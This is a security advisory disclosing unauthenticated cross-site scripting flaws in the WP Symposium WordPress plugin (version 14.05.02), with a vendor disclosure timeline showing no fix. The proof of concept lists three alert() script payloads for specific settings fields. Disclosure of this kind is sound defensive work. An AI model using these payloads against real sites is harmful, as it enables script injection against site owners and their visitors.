Plugin Name : WP Symposium
Effected Version : 14.05.02 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :
The following fields put the payload as below
http://localhost/wp-admin/admin.php?page=symposium_settings.php
wps_time_out = ?><script>alert(1)</script>
wps_js_file = ?><script>alert(2)</script>
img_path = ?><script>alert(3)</script>
Video Demonstration:
http://www.youtube.com/watch?v=_T_2-s2AMY0
Impact : Multiple Cross Site Scripting vulnerabilities
Fixed in : No update
Disclosure Timeline
Vendor Contacted : 2014-08-01
Plugin Status : No Change on 2014-08-02
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy.